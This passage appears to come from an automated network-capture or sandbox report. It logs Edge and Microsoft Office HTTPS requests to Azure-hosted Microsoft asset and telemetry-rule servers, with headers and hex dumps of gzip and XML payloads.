2024-11-17 09:07:39 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49925	13.107.246.57	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:39 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 09:07:39 UTC	583	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:39 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: 061331ed-e01e-004f-6254-38ac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T090739Z-164f84587bf7jb9dhC1DFWkay400000003v0000000000891 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:39 UTC	15801	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-17 09:07:39 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-17 09:07:39 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:39 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:39 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: fe042a41-f01e-0003-03af-364453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090739Z-16547b76f7f64d6whC1DFWf9vn00000002m000000000c98e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:39 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:39 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:39 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 929893a7-101e-0017-74a6-3747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090739Z-16547b76f7fr5rfnhC1DFW0am400000001hg0000000075e7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:39 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:39 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:39 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 5d228471-101e-007a-15a6-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090739Z-164f84587bfghdt4hC1DFWu5nn00000003w00000000073p2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
